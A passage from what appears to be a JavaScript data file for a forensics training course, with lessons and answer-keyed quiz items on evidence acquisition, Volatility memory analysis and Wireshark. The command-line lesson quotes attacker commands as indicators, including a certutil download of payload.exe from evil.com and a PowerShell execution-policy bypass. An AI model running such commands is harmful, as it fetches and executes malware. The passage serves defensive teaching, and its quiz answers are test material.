                ['Why should you avoid using the built-in tools (like Task Manager) on a compromised machine during a live response?', 'They may be compromised by a rootkit', 4, 'You cannot trust the OS anymore.', 0, ['They are not fast enough', 'They may be compromised by a rootkit', 'They take up too much RAM', 'They do not show network connections']],
                ['What should you do before disconnecting any cables from the back of a suspect\'s computer tower?', 'Take photographs', 5, 'Document the original state.', 0, ['Write down the MAC address', 'Check for malware', 'Take photographs', 'Wipe the hard drive']]
            ]
        },
        {
            title: "Disk Acquisition & Write Blockers",
            xp_reward: 120,
            reading_time: 7,
            content: `# Disk Acquisition & Write Blockers

Disk acquisition is the process of creating an exact, bit-for-bit replica of a storage medium (Hard Drive, SSD, USB, SD Card). We never analyze the original evidence directly; we analyze the replica to preserve the original.

## Logical vs. Physical Acquisition
There are two main types of acquisitions:

### 1. Logical Acquisition
A logical acquisition relies on the Operating System to read the files and copy them. It copies only the files the OS can see. 
*   **Pros:** Fast. Good for targeted collections (e.g., "Just copy the user's Documents folder").
*   **Cons:** It misses deleted files, hidden partitions, and slack space. 

### 2. Physical (Bit-Stream) Acquisition
A physical image reads the raw 1s and 0s directly from the physical disk hardware, ignoring the OS entirely. 
*   **Pros:** Captures absolutely everything, including deleted files, unallocated space, and hidden partitions. This is the gold standard for full investigations.
*   **Cons:** Very slow. A 2TB drive requires a 2TB image file, even if the drive is 90% empty.

## Write Blockers
If you plug a suspect's Windows hard drive into your forensic laptop just to "take a look", your Windows OS will aggressively mount the drive. In the background, it will update recycle bin files, change access timestamps, and create thumbnail caches. The evidence is now legally compromised.

To prevent this, we use **Write Blockers**. 
A write blocker is a device that intercepts all commands headed to the suspect drive. It allows \`READ\` commands to pass through but drops and blocks any \`WRITE\` commands.

*   **Hardware Write Blockers:** Physical devices (like Tableau or WiebeTech) that you physically plug the suspect drive into. They are considered the most reliable method.
*   **Software Write Blockers:** Software utilities or registry keys (like Linux mounting a drive as \`read-only\`). Less foolproof than hardware, but necessary for laptops where the SSD is soldered to the motherboard and cannot be physically removed.

## Forensic Image Formats
When you create the image, you don't just copy the files into a zip folder. You use specialized forensic formats:
1.  **Raw (DD):** The simplest format. Just a massive file containing the exact 1s and 0s of the disk. No compression, no built-in metadata.
2.  **EnCase (E01):** The industry standard. Combines the raw bitstream with compression, built-in hashing, and metadata (investigator name, case number) all wrapped into a single secure file.
3.  **AFF4:** Advanced Forensic Format version 4. A newer, open-source format designed for high speed and massive datasets.`,
            questions: [
                ['Which type of acquisition copies only the files visible to the operating system, missing deleted data?', 'Logical', 1, 'It uses the OS logic.', 0, ['Physical', 'Bit-stream', 'Logical', 'Raw']],
                ['Which type of acquisition reads the raw 1s and 0s directly from the hardware, capturing deleted files in unallocated space?', 'Physical', 2, 'Also known as a bit-stream image.', 0, ['Logical', 'Physical', 'Targeted', 'Volume']],
                ['What device intercepts commands to prevent a forensic workstation from accidentally altering a suspect\'s hard drive?', 'Write Blocker', 3, 'It blocks write operations.', 0, ['Read-Only Memory', 'Write Blocker', 'Read Blocker', 'Hardware Firewall']],
                ['Which forensic image format is the industry standard that includes compression, metadata, and built-in hashes?', 'E01', 4, 'Associated with EnCase.', 0, ['DD', 'RAW', 'E01', 'ISO']],
                ['If you plug a suspect\'s Windows hard drive directly into another Windows machine without protection, what happens to the evidence?', 'It is altered', 5, 'Windows mounts it automatically.', 0, ['It is encrypted', 'It is altered', 'It copies itself', 'Nothing happens']]
            ]
        },
        {
            title: "Memory (RAM) Acquisition",
            xp_reward: 110,
            reading_time: 6,
            content: `# Memory (RAM) Acquisition

Memory forensics has become the most critical component of modern Incident Response. As attackers adapt to disk forensics, they increasingly utilize "fileless" malware—malicious code that injects itself directly into the RAM of running processes and never touches the hard drive. 

If you power off the machine before extracting the RAM, that evidence evaporates instantly.

## Why RAM is the Holy Grail
A full memory dump contains a snapshot of the exact state of the system at that moment in time. It holds:
1.  **Running Processes:** Not just what the OS *thinks* is running, but what is *actually* executing in memory, including hidden rootkits.
2.  **Active Network Connections:** You can see which processes are actively talking to external IP addresses (Command & Control beacons).
3.  **Decrypted Data:** Even if the hard drive is encrypted with BitLocker, the system must hold the decryption key in RAM to function. Ram dumps routinely yield cleartext passwords, decryption keys, and private SSL keys.
4.  **Clipboard Contents:** What the user just copied and pasted.
5.  **Command History:** History of terminal commands recently run.

## Acquisition Tools
Because RAM is actively being used by the operating system, you cannot use a simple copy command to grab it. You need a specialized kernel driver to access the raw memory space.

Common free tools include:
*   **DumpIt (Windows):** A fast, simple executable. You run it from a USB drive, and it drops a \`.raw\` memory file onto your USB.
*   **WinPmem (Windows/Linux/Mac):** Part of the Rekall project. Powerful, scriptable, and supports the generic \`.raw\` format as well as the more advanced \`AFF4\` format.
*   **LiME (Linux):** Linux Memory Extractor. A Loadable Kernel Module (LKM) that creates a full memory capture of Linux devices.

## The Smear Effect
Memory is highly volatile and constantly changing. If a machine has 64GB of RAM, it might take 10 minutes to copy it all down to your USB drive. 

By the time the tool finishes copying the 64th gigabyte, the data in the 1st gigabyte has completely changed since the copy started. 
This results in a "smear"—the image is a patchwork of different moments in time, rather than a single frozen snapshot. Advanced memory analysis tools are designed to handle and compensate for this smear effect.

## Hibernation Files and Pagefiles
Even if a machine is powered off, you might still recover RAM data:
*   **hiberfil.sys (Hibernation File):** When a Windows laptop is put to sleep/hibernation, the OS dumps the entire contents of RAM into this file on the hard drive to save power. Extracting this file provides a perfect, frozen memory dump from the exact moment the laptop went to sleep.
*   **pagefile.sys / swapfile.sys:** When RAM gets full, the OS temporarily moves idle data from RAM onto the hard drive to free up space. Analyzing these files can reveal historical artifacts that were once in memory.`,
            questions: [
                ['What type of malware executes directly in memory and leaves almost zero trace on the physical hard drive?', 'Fileless Malware', 1, 'It exists without files.', 0, ['Ransomware', 'Bootkit', 'Fileless Malware', 'Macro Virus']],
                ['Which Windows file contains a perfect snapshot of the RAM contents dumped to the hard drive when the computer goes to sleep?', 'hiberfil.sys', 2, 'Starts with h.', 0, ['pagefile.sys', 'swapfile.sys', 'ntuser.dat', 'hiberfil.sys']],
                ['What happens to the decryption keys for a BitLocker encrypted drive while the computer is powered on and unlocked?', 'Stored in RAM', 3, 'The system needs them actively.', 0, ['Sent to the cloud', 'Stored in RAM', 'Deleted immediately', 'Written to the registry']],
                ['Which phenomenon occurs because the contents of RAM change during the time it takes to create a memory image?', 'Smear Effect', 4, 'Like taking a panoramic photo of a moving object.', 0, ['Buffer Overflow', 'Memory Leak', 'Smear Effect', 'Bit Flipping']],
                ['Which tool is commonly used to extract a full memory dump from a running Linux system?', 'LiME', 5, 'Acronym for Linux Memory Extractor.', 0, ['DumpIt', 'LiME', 'WinPmem', 'FTK Imager']]
            ]
        },
        {
            title: "Network Evidence Acquisition",
            xp_reward: 100,
            reading_time: 5,
            content: `# Network Evidence Acquisition

In many incidents, the only trace of the attacker is the traffic they generated communicating with their Command and Control (C2) servers or exfiltrating data. It is often said that while logs can be deleted and files can be wiped, "packets don't lie."

## Full Packet Capture (PCAP)
The ultimate form of network evidence is a Full Packet Capture. This records every single bit of data traversing the wire—the headers, the routing information, and the actual payload (the contents of the emails, the files being downloaded, the web pages viewed).

*   **Tools:** Wireshark, \`tcpdump\`.
*   **The Problem:** Storing full PCAPs is incredibly expensive. A busy corporate firewall might process 10 Terabytes of data per day. Retaining full PCAPs for 30 days requires massive, specialized storage clusters (like Arkime/Moloch). Because of this, most organizations do not save full PCAPs.

## NetFlow (Network Telemetry)
If you can't record the entire phone call (PCAP), the next best thing is to record the phone bill (NetFlow). 

NetFlow is metadata about network traffic. It records:
*   Source IP & Destination IP
*   Source Port & Destination Port
*   Protocol (TCP/UDP)
*   Total Bytes Transferred
*   Start time & End time

NetFlow does **not** record the payload. It cannot tell you *what* was inside the HTTP request, only that an HTTP request occurred and transferred 40MB of data.
*   **Pros:** Requires 99% less storage than full PCAPs. You can store months of NetFlow data easily.
*   **Usage in DFIR:** If an analyst sees a NetFlow record indicating 50 Gigabytes of data was sent from the internal Database Server to an unknown IP in Russia at 3:00 AM, they don't need the PCAP to know data exfiltration just occurred.

## Log Files
When PCAP and NetFlow are unavailable, analysts rely heavily on network appliance logs:
*   **Firewall Logs:** Shows allowed and blocked connections.
*   **Proxy Logs / Web Gateways:** Shows the exact URLs internal users visited, the user-agent strings, and HTTP status codes. This is critical for catching users clicking phishing links.
*   **DNS Logs:** Attackers frequently use DNS to locate internal assets or even to exfiltrate data (DNS Tunneling). Analyzing DNS queries is a staple of network forensics.

## Collecting Evidence on the Wire
How do we actually capture the traffic without interrupting the network?
1.  **Port Mirroring (SPAN Port):** You configure the corporate network switch to take a copy of every packet passing through it and send that copy to a dedicated monitor port, where your forensic capture tool is plugged in.
2.  **Network Taps:** A physical hardware device inserted directly inline with the network cable. It acts like a splitter, passively duplicating the optical or electrical signal to a capture device. Taps are completely invisible to the network and are more reliable than SPAN ports under heavy load.`,
            questions: [
                ['What type of network evidence records the complete payload and headers of every packet sent across the wire?', 'Full Packet Capture', 1, 'Abbreviated as PCAP.', 0, ['NetFlow', 'Full Packet Capture', 'Firewall Logs', 'DNS Queries']],
                ['What type of network evidence acts like a "phone bill," recording metadata like IPs, ports, and bytes transferred, but NOT the payload?', 'NetFlow', 2, 'Telemetry data.', 0, ['PCAP', 'Syslog', 'NetFlow', 'SNMP']],
                ['Which hardware device is physically inserted inline with a network cable to passively duplicate traffic for forensic capture?', 'Network Tap', 3, 'It taps into the physical line.', 0, ['SPAN Port', 'Network Switch', 'Network Tap', 'Router']],
                ['A switch feature that copies traffic from one port to a monitoring port for analysis is called a...?', 'SPAN Port', 4, 'Also known as Port Mirroring.', 0, ['VLAN', 'VPN', 'SPAN Port', 'Trunk Port']],
                ['If you want to know the exact URL a user clicked on when they fell for a phishing email, which log source is the most useful?', 'Proxy Logs', 5, 'Web gateways track URLs.', 0, ['Firewall Logs', 'Proxy Logs', 'NetFlow', 'Switch Logs']]
            ]
        }
    ]
};

const module4 = {
    title: "Module 4: Memory Forensics (Volatility)",
    description: "Learn how to extract hidden malware, running processes, and network connections from a captured RAM image.",
    display_order: 4,
    tasks: [
        {
            title: "Introduction to Volatility",
            xp_reward: 100,
            reading_time: 6,
            content: `# Introduction to Volatility

Volatility is the world's most widely used, open-source memory forensics framework. Written in Python, it allows investigators to analyze RAM captures (.raw, .vmem, .dmp) offline to reconstruct the exact state of a computer at the moment the memory was captured.

## Volatility 2 vs Volatility 3
There are two main versions of Volatility currently in use:
*   **Volatility 2:** The traditional version (Python 2). It requires the analyst to manually specify a **"Profile"** (the exact OS version, e.g., \`Win7SP1x64\`) before it can parse the memory image. If you guess the wrong profile, Volatility returns gibberish.
*   **Volatility 3:** The modern version (Python 3). It largely eliminates the need for manual profiles. Instead, it downloads "Symbol Tables" from Microsoft on the fly to automatically figure out the OS version and parse the structures.

Everything in this module focuses on Volatility 3, as it is the current industry standard.

## Basic Syntax (Volatility 3)
The syntax for Volatility 3 is straight-forward: you run the \`vol.py\` script, provide the target memory image using \`-f\`, and then specify a **plugin**.

A plugin is a specific script that looks for a specific artifact in memory.

**Syntax:** 
\`python3 vol.py -f <memory_image> <plugin_name>\`

**Example:**
\`python3 vol.py -f infected_laptop.raw windows.info\`

## The 'windows.info' Plugin
The absolute first plugin you should run on any new memory image is \`windows.info\`.

*   **What it does:** It analyzes the basic header structures of the memory image to determine the exact Operating System version, the primary architecture (32-bit vs 64-bit), the exact build number, and the time the memory image was created.
*   **Forensic Value:** It proves the memory image is sound and readable, and gives you the exact timestamp of the acquisition, which is perfectly aligned toUTC time (unlike disk timestamps which might be affected by local timezones).`,
            questions: [
                ['Which open-source framework, written in Python, is considered the industry standard for analyzing RAM dumps?', 'Volatility', 1, 'It analyzes volatile memory.', 0, ['Autopsy', 'Wireshark', 'Volatility', 'EnCase']],
                ['In Volatility 2, what piece of information must an analyst manually specify so the tool understands how to parse the OS structures?', 'The Profile', 2, 'E.g., Win7SP1x64.', 0, ['The Password', 'The Profile', 'The Malware Hash', 'The IP Address']],
                ['What command line flag is used in Volatility 3 to specify the input file (the memory image)?', '-f', 3, 'Stands for file.', 0, ['-i', '-p', '-f', '-m']],
                ['What is the name of a specific script in Volatility that looks for an exact type of artifact (e.g., hidden processes)?', 'Plugin', 4, 'You plug it into the framework.', 0, ['Module', 'Add-on', 'Plugin', 'Extension']],
                ['Which Volatility 3 plugin should be run first to gather basic OS build information and the exact UTC timestamp of the memory acquisition?', 'windows.info', 5, 'It provides information about the Windows build.', 0, ['windows.pslist', 'windows.malfind', 'windows.info', 'windows.netstat']]
            ]
        },
        {
            title: "Process Enumeration (pslist vs psscan)",
            xp_reward: 120,
            reading_time: 7,
            content: `# Process Enumeration

The most fundamental task in memory forensics is identifying what programs were running when the RAM was captured.

## windows.pslist (The Honest List)
To understand what is running, the Windows Kernel maintains a linked list called the **EPROCESS block list** (specifically the \`ActiveProcessLinks\`). Whenever you open Task Manager, Windows simply walks down this list and displays the results.

The \`windows.pslist\` plugin does exactly the same thing. It asks the OS, "What processes do you think are running?"

*   **Syntax:** \`python3 vol.py -f image.raw windows.pslist\`
*   **Output:** Process Name, Process ID (PID), Parent Process ID (PPID), Threads, Handles, and Creation Time.

**The Problem:** Because \`pslist\` relies on the linked list maintained by the OS, it is highly susceptible to **Rootkits**. A rootkit can simply digitally unlink its malicious process from the \`ActiveProcessLinks\` list. To the OS (and Task Manager, and \`pslist\`), the malware suddenly becomes invisible, even though it is still actively executing in memory.

## windows.psscan (The Skeptical Scanner)
To find hidden processes, we use **Memory Carving**. 

Instead of trusting the linked list, \`windows.psscan\` ignores the OS entirely. It methodically scans every single byte of the massive RAM file, looking for the specific byte-signature that signifies the start of an \`EPROCESS\` data structure.

*   **Syntax:** \`python3 vol.py -f image.raw windows.psscan\`
*   **The Power of Carving:** If a rootkit unlinks itself to hide, \`psscan\` will still find it, because the actual data structure must still exist in RAM for the malware to run.
*   **Bonus Power:** Because it scans memory raw, \`psscan\` can even find processes that were recently terminated (closed) but whose data hasn't yet been overwritten by new data.

## The Comparison Technique
How do you find the hidden rootkit?
You run \`pslist\`. You run \`psscan\`. Then you compare the outputs. 
If a process shows up in \`psscan\` but is absent from \`pslist\`, you have found a process that was deliberately unlinked and hidden. That PID is almost certainly malicious.

## windows.pstree (The Family Tree)
Attackers often name their malware something innocent, like \`svchost.exe\`. How do you spot the fake?

\`windows.pstree\` organizes processes by their Parent-Child relationships. 
*   *Normal:* \`services.exe\` spawns a dozen \`svchost.exe\` processes.
*   *Malicious:* You see \`explorer.exe\` (the desktop GUI) spawning a \`svchost.exe\`. Or a \`winword.exe\` (Microsoft Word) spawning \`cmd.exe\` or \`powershell.exe\`. The parent-child relationship instantly gives away the attacker.`,
            questions: [
                ['Which Volatility plugin relies on the OS-maintained linked list (ActiveProcessLinks) to show currently running processes, making it vulnerable to rootkits?', 'windows.pslist', 1, 'It just lists what the OS sees.', 0, ['windows.psscan', 'windows.pslist', 'windows.pstree', 'windows.malfind']],
                ['What technique does a rootkit use to hide a malicious process from the Task Manager and the pslist command?', 'Direct Kernel Object Manipulation (Unlinking)', 2, 'It alters the ActiveProcessLinks.', 0, ['Encryption', 'Obfuscation', 'Direct Kernel Object Manipulation (Unlinking)', 'Code Injection']],
                ['Which Volatility plugin ignores the OS list and scans every byte of memory for specific data structures, allowing it to find hidden and recently terminated processes?', 'windows.psscan', 3, 'It scans for signatures.', 0, ['windows.pslist', 'windows.pstree', 'windows.psscan', 'windows.netscan']],
                ['If you see a process listed in the output of psscan, but that exact same PID is missing from the output of pslist, what is the most likely explanation?', 'The process was deliberately hidden (Rootkit)', 4, 'It was unlinked from the main list.', 0, ['The process crashed', 'Volatility has a bug', 'The process was deliberately hidden (Rootkit)', 'The process requires administrator rights']],
                ['Which plugin is best for spotting anomalies like Microsoft Word spawning a Command Prompt by visualizing parent-child process relationships?', 'windows.pstree', 5, 'Shows the family tree.', 0, ['windows.pslist', 'windows.psscan', 'windows.pstree', 'windows.info']]
            ]
        },
        {
            title: "Network Connections & Command Line Logs",
            xp_reward: 100,
            reading_time: 5,
            content: `# Network and Command Line Analysis in RAM

Analyzing processes is only half the battle. We also need to see what the processes were doing—who they were talking to, and how they were launched.

## windows.netscan
Just because malware is hidden doesn't mean it operates in a vacuum. It must communicate with the attacker's Command and Control (C2) server. 

The \`windows.netscan\` plugin scans RAM for network artifact structures (similar to how \`psscan\` looks for processes). 

*   **Syntax:** \`python3 vol.py -f image.raw windows.netscan\`
*   **Output:** 
    *   **Protocol:** TCP/UDP
    *   **Local Address & Port**
    *   **Foreign Address & Port:** The external IP the machine is talking to.
    *   **State:** ESTABLISHED, LISTENING, CLOSED, etc.
    *   **Owner (PID):** The Process ID responsible for the connection.
*   **Forensic Value:** If you see an unknown IP address communicating over port 443 (HTTPS), you can check the "Owner PID". You might discover that a seemingly innocent \`notepad.exe\` is actively holding open an encrypted tunnel to Russia. That is an immediate indicator of compromise.

## windows.cmdline
Windows allows you to launch programs with specific arguments (e.g., instead of just double-clicking a script, an attacker runs \`powershell.exe -ExecutionPolicy Bypass -File evil.ps1\`).

These arguments might be the only place the attacker's true intent is visible. Even if the process completes and terminates, the command-line arguments often linger in memory.

*   **Syntax:** \`python3 vol.py -f image.raw windows.cmdline\`
*   **Forensic Value:** This plugin prints out the exact command-line string used to launch every process found in memory.
*   **What to look for:**
    *   **Encoded Commands:** \`powershell.exe -e JABjAGwAaQBlAG4AdAAgAD0...\` (Base64 encoded commands are a massive red flag).
    *   **Suspicious Paths:** \`cmd.exe /c start C:\\Users\\Public\\malware.exe\`
    *   **Living off the Land:** Using legitimate Windows tools for malicious purposes (e.g., \`certutil.exe -urlcache -split -f http://evil.com/payload.exe\`).`,
            questions: [
                ['Which Volatility plugin is used to find active, listening, and recently closed network connections within a memory image?', 'windows.netscan', 1, 'Scans for network artifacts.', 0, ['windows.psscan', 'windows.netscan', 'windows.cmdline', 'windows.netstat']],
                ['If you find a suspicious external IP address using windows.netscan, what field in the output tells you exactly which program on the computer opened the connection?', 'Owner (PID)', 2, 'The Process ID involved.', 0, ['Protocol', 'Local Port', 'State', 'Owner (PID)']],
                ['Which plugin displays the exact arguments and flags that were passed to an executable when it was launched?', 'windows.cmdline', 3, 'Command Line.', 0, ['windows.pslist', 'windows.psscan', 'windows.cmdline', 'windows.info']],
                ['An attacker launches PowerShell with the \`-e\` flag followed by a long string of random-looking characters. What encryption/encoding method is this primarily indicating?', 'Base64', 4, 'Powershell EncodedCommand uses this.', 0, ['AES', 'Base64', 'ROT-13', 'MD5']],
                ['Using built-in, legitimate IT administrator tools (like certutil or powershell) to download malware and avoid antivirus detection is known as what kind of attack?', 'Living off the Land (LotL)', 5, 'Using what is already there.', 0, ['Zero-Day Exploit', 'Ransomware', 'Living off the Land (LotL)', 'Buffer Overflow']]
            ]
        },
        {
            title: "Hunting Advanced Malware (Malfind)",
            xp_reward: 120,
            reading_time: 7,
            content: `# Hunting Advanced Malware (Malfind)

If an attacker is somewhat sophisticated, they won't even leave an \`evil.exe\` running on the system. Instead, they will use **Code Injection**. 

They will take malicious payload code and inject it directly into the memory space of a completely legitimate process, like the real, Microsoft-signed \`explorer.exe\` (the taskbar). 
If you check \`pslist\`, \`explorer.exe\` looks fine. If you check \`netscan\`, \`explorer.exe\` is talking to the internet (which is suspicious, but not definitive proof).

How do you prove the legitimate process is "infected"?

## Memory Protections (VAD - Virtual Address Descriptor)
To understand injection, you must understand how Windows protects memory. Windows assigns permissions to blocks of memory using a structure called the Virtual Address Descriptor (VAD).
*   **PAGE_READONLY:** The program can read this memory, but not change it.
*   **PAGE_READWRITE (RW):** The program can store variables and data here.
*   **PAGE_EXECUTE_READ (RX):** The memory contains actual CPU instructions (code) that are allowed to run.

**The Golden Rule:** Data should be \`RW\`. Code should be \`RX\`.
It is a massive security risk to allow memory to be both writable AND executable at the same time: **PAGE_EXECUTE_READWRITE (RWX)**.
If a block of memory is \`RWX\`, an attacker can write malicious code into it, and then instantly execute it. Modern Windows compiles very few programs with \`RWX\` permissions.

## windows.malfind
The \`windows.malfind\` plugin is the ultimate malware hunter. 

It ignores the names of processes. It ignores parent-child relationships. Instead, it scans the Virtual Address Descriptor (VAD) of every single process, looking for memory regions marked as **PAGE_EXECUTE_READWRITE (RWX)**.

If it finds an \`RWX\` section, it then checks if there is an unbacked executable (a program in memory that does not correspond to a physical file on the hard drive).

*   **Syntax:** \`python3 vol.py -f image.raw windows.malfind\`
*   **Output:** For every hit, it prints the Process Name, the PID, the starting memory address of the injected code, and a hex dump of the first few bytes of that injected code.
*   **What to look for in the Hex Dump:** 
    *   \`4D 5A\` (MZ) - These are the magic bytes that signify a Windows Executable (PE file).
    *   If you see a legitimate process like \`svchost.exe\`, and \`malfind\` highlights a memory region marked \`RWX\` that starts with \`4D 5A\`, you have found a reverse shell or beacon fully injected into that process.

## Extracting the Malware
Once \`malfind\` or \`pslist\` identifies a malicious PID, you can extract the malware out of the RAM image and save it to your forensic workstation for reverse engineering.

*   **windows.pslist --pid <PID> --dump:** Dumps the entire executable of a running process.
*   **windows.malfind --pid <PID> --dump:** Dumps specifically the hidden, injected code sections identified by the malfind plugin.`,
            questions: [
                ['What technique does an attacker use to hide malicious, executing code inside the memory space of a legitimate Windows process (like explorer.exe)?', 'Code Injection', 1, 'Injecting into another process.', 0, ['Time Stomping', 'Code Injection', 'Phishing', 'Port Knocking']],
                ['In Windows memory protection rules (VAD), which permission state is considered highly dangerous and indicative of malicious injection?', 'PAGE_EXECUTE_READWRITE (RWX)', 2, 'It allows writing and running code simultaneously.', 0, ['PAGE_READONLY', 'PAGE_READWRITE', 'PAGE_EXECUTE', 'PAGE_EXECUTE_READWRITE (RWX)']],
                ['Which Volatility plugin is specifically designed to hunt for code injection by scanning all processes for hidden RWX memory regions?', 'windows.malfind', 3, 'Finds malware.', 0, ['windows.pslist', 'windows.psscan', 'windows.malfind', 'windows.netscan']],
                ['When viewing the hex dump output of malfind, what two bytes (in hex) represent the "magic bytes" header of a Windows Executable file?', '4D 5A', 4, 'Translates to ASCII MZ.', 0, ['FF D8', '89 50', '4D 5A', '50 4B']],
                ['Once you have identified the PID of an injected process using malfind, what Volatility flag allows you to extract the malicious code out of the RAM image and save it to your hard drive?', '--dump', 5, 'Dumps the file.', 0, ['--extract', '--export', '--save', '--dump']]
            ]
        }
    ]
};

const module5 = {
    title: "Module 5: Network Forensics (PCAP Analysis)",
    description: "Learn how to analyze packet captures (PCAPs) using Wireshark and Tshark to trace attacker movements and extract stolen data.",
    display_order: 5,
    tasks: [
        {
            title: "Introduction to Packet Captures",
            xp_reward: 100,
            reading_time: 6,
            content: `# Introduction to Packet Captures

Network Forensics is the capture, recording, and analysis of network events in order to discover the source of security attacks. The foundational artifact of network forensics is the **Packet Capture (PCAP)** file.

## Why Network Forensics?
Malware can hide on a hard drive using rootkits. Attackers can delete Event Logs. But it is incredibly difficult for an attacker to hide their network traffic from a properly configured network sensor. 
*   *"Packets don't lie."* If data left the building, there is a record of it.

## The PCAP Format
A \`.pcap\` (or the newer \`.pcapng\`) file contains a complete, byte-for-byte copy of every network packet that passed a specific point on the network during the capture window.

This is fundamentally different from **NetFlow logs**. 
*   **NetFlow:** Like a phone bill. It tells you *who* talked to *whom*, *when*, and for *how long* (e.g., IP A talked to IP B on port 443 for 5 minutes). It does *not* contain the conversation.
*   **PCAP:** Like a recorded phone call. It contains the metadata *and* the actual data payloads (the contents of the downloaded file, the HTTP GET arrays, the DNS queries).

## Capturing Traffic
To capture traffic, sensors (often running software like \`tcpdump\` or \`Zeek\`) are placed at strategic chokepoints in the network:
*   **Ingress/Egress points:** The main firewall connecting the corporate network to the Internet.
*   **Core Switches:** Monitoring internal Lateral Movement (e.g., User VLAN talking to the Server VLAN).
*   **Endpoint:** Capturing traffic directly on a specific laptop using tools like Wireshark.

**Promiscuous Mode:** Normally, a network card only reads packets addressed specifically to its own MAC address. To capture all traffic on a network segment, the network interface card (NIC) must be put into "Promiscuous Mode," telling it to read everything it sees.`,
            questions: [
                ['What is the standard file extension used to store a byte-for-byte recording of entire network packets?', '.pcap', 1, 'Packet Capture.', 0, ['.evt', '.ps1', '.pcap', '.log']],
                ['Which of the following acts like a "phone bill," recording metadata about a connection (who, when, how long) but NOT the actual data payload?', 'NetFlow', 2, 'It records the flow of the network.', 0, ['PCAP', 'NetFlow', 'Syslog', 'EventTracer']],
                ['To capture all traffic on a network segment, what mode must a network interface card (NIC) be placed into?', 'Promiscuous Mode', 3, 'It reads every packet it sees.', 0, ['Stealth Mode', 'Monitor Mode', 'Promiscuous Mode', 'Injektion Mode']],
                ['Which popular command-line tool, common on Linux environments, is frequently used to capture packets and write them to a PCAP file?', 'tcpdump', 4, 'Dumps TCP traffic.', 0, ['netstat', 'nmap', 'ping', 'tcpdump']],
                ['Why is network forensics often considered more reliable than host-based forensics (like checking event logs)?', 'Network sensors are harder for malware to bypass or erase', 5, 'Packets don\'t lie, and they are usually stored off the infected host.', 0, ['It uses less disk space', 'Network sensors are harder for malware to bypass or erase', 'It is encrypted by default', 'It is faster to analyze']]
            ]
        },
        {
            title: "Wireshark Fundamentals",
            xp_reward: 110,
            reading_time: 7,
            content: `# Wireshark Fundamentals

Wireshark is the world's foremost network protocol analyzer. It allows you to open PCAP files and view the captured network traffic at a microscopic level.

## The Three-Pane View
When you open a PCAP in Wireshark, the interface is split into three main panels:
1.  **Packet List (Top):** Shows a chronological list of every captured packet, with basic summary info (Source IP, Destination IP, Protocol, Length).
2.  **Packet Details (Middle):** Shows the selected packet broken down layer by layer, matching the OSI model (e.g., Ethernet frame -> IPv4 header -> TCP header -> HTTP payload).
3.  **Packet Bytes (Bottom):** Shows the raw hexadecimal and ASCII representation of exactly what the raw packet looks like in binary.

## Display Filters
PCAP files can contain millions of packets. To find evil, you must master Display Filters. They allow you to hide the noise and focus only on relevant traffic.

*   **Filter by IP:**
    *   \`ip.addr == 192.168.1.50\` (Shows packets where this IP is either the source OR destination)
    *   \`ip.src == 10.0.0.5\` (Shows packets originating from this IP)
*   **Filter by Protocol:**
    *   \`http\` (Shows only unencrypted web traffic)
    *   \`dns\` (Shows only DNS queries and responses)
*   **Filter by Port:**
    *   \`tcp.port == 443\` (Shows typical HTTPS traffic)
    *   \`udp.port == 53\` (Shows typical DNS traffic)
*   **Combining Filters (Boolean Logic):**
    *   \`ip.src == 192.168.1.100 && tcp.port == 80\` (Finds HTTP traffic leaving a specific host)
    *   \`http.request.method == "POST"\` (Finds data being uploaded/sent to a web server)

## "Follow TCP Stream"
This is arguably Wireshark's most powerful feature for analysts.

A single file download might span 500 individual packets. Trying to read the file chunk by chunk in the "Packet Bytes" pane is impossible. 

By right-clicking a packet and selecting **Follow -> TCP Stream**, Wireshark automatically reassembles all 500 packets in the correct order, strips away the networking headers, and displays the pure application data (the actual conversation) in a clean, readable text window.`,
            questions: [
                ['In Wireshark\'s three-pane interface, which pane allows you to expand and inspect the specific headers of the OSI model layers (like the IPv4 or TCP headers)?', 'Packet Details (Middle)', 1, 'It breaks down the details.', 0, ['Packet List (Top)', 'Packet Details (Middle)', 'Packet Bytes (Bottom)', 'Filter Bar']],
                ['What is the exact Wireshark display filter syntax to show only packets where the source IP is 8.8.8.8?', 'ip.src == 8.8.8.8', 2, 'Remember the double equals sign.', 0, ['source_ip = 8.8.8.8', 'ip.addr == 8.8.8.8', 'ip:src=8.8.8.8', 'ip.src == 8.8.8.8']],
                ['Which display filter would you use to find instances where a user uploaded data or submitted a form to an unencrypted web server?', 'http.request.method == "POST"', 3, 'Looking for the HTTP POST method.', 0, ['tcp.port == 80', 'http.response == 200', 'http.request.method == "POST"', 'ftp.request == "UPLOAD"']],
                ['What powerful Wireshark feature automatically reassembles dozens of fragmented packets into a single, readable conversation window?', 'Follow TCP Stream', 4, 'It follows the entire flow of the stream.', 0, ['Protocol Hierarchy', 'Resolve IPs', 'Expert Info', 'Follow TCP Stream']],
                ['What does the Boolean operator `&&` do when combining display filters in Wireshark?', 'Logical AND (Both conditions must be true)', 5, 'It restricts the search.', 0, ['Logical OR', 'Logical NOT', 'Logical AND (Both conditions must be true)', 'Concatenation']]
            ]
        },
        {
            title: "Analyzing DNS & HTTP Traffic",
            xp_reward: 120,
            reading_time: 8,
            content: `# Analyzing Protocols: DNS and HTTP

Most malware needs to communicate with the outside world. To blend in, it often uses the same protocols as normal web browsing: DNS and HTTP. 

## DNS (Domain Name System)
Before malware can connect to \`evil.com\`, it must ask DNS for the IP address of that domain.
*   **Port:** UDP 53.
*   **Forensic Value:** DNS occurs *before* the connection. Because DNS is usually unencrypted, you can see every domain a computer tries to visit.
*   **Key Indicator:** Look for DGA (Domain Generation Algorithms). If you see a machine making DNS queries for \`qbxvzmpklj.com\`, \`zxywqabcn.net\`, etc., it is highly likely infected with malware trying to find its Command and Control server.

## HTTP (Hypertext Transfer Protocol)
HTTP is the foundation of the web, but it's also perfect for malware because it is almost never blocked by firewalls. 

When analyzing HTTP, look closely at these fields:
1.  **User-Agent:** This tells the server what browser the client is using (e.g., \`Mozilla/5.0 (Windows NT 10.0...)\`). 
    *   *Red Flag:* Malware often uses default, hardcoded User-Agents missing typical browser strings, like simply \`curl/7.68.0\`, \`python-requests/2.25.1\`, or even unique strings like \`Go-http-client/1.1\`.
2.  **URI (Uniform Resource Identifier):** The actual path of the file requested (e.g., \`/images/logo.png\`).
    *   *Red Flag:* Extremely long URIs with random characters might indicate data exfiltration encoded in the URL itself.
3.  **HTTP Status Codes:**
    *   **200 OK:** The server successfully received and answered the request (The malware successfully downloaded its payload).
    *   **404 Not Found:** The target file isn't there (The C2 server infrastructure might have been taken down).

## Extracting Files from PCAPs
If an employee downloads a suspicious executable over HTTP (unencrypted), that entire executable is stored inside the PCAP file. You can extract it.

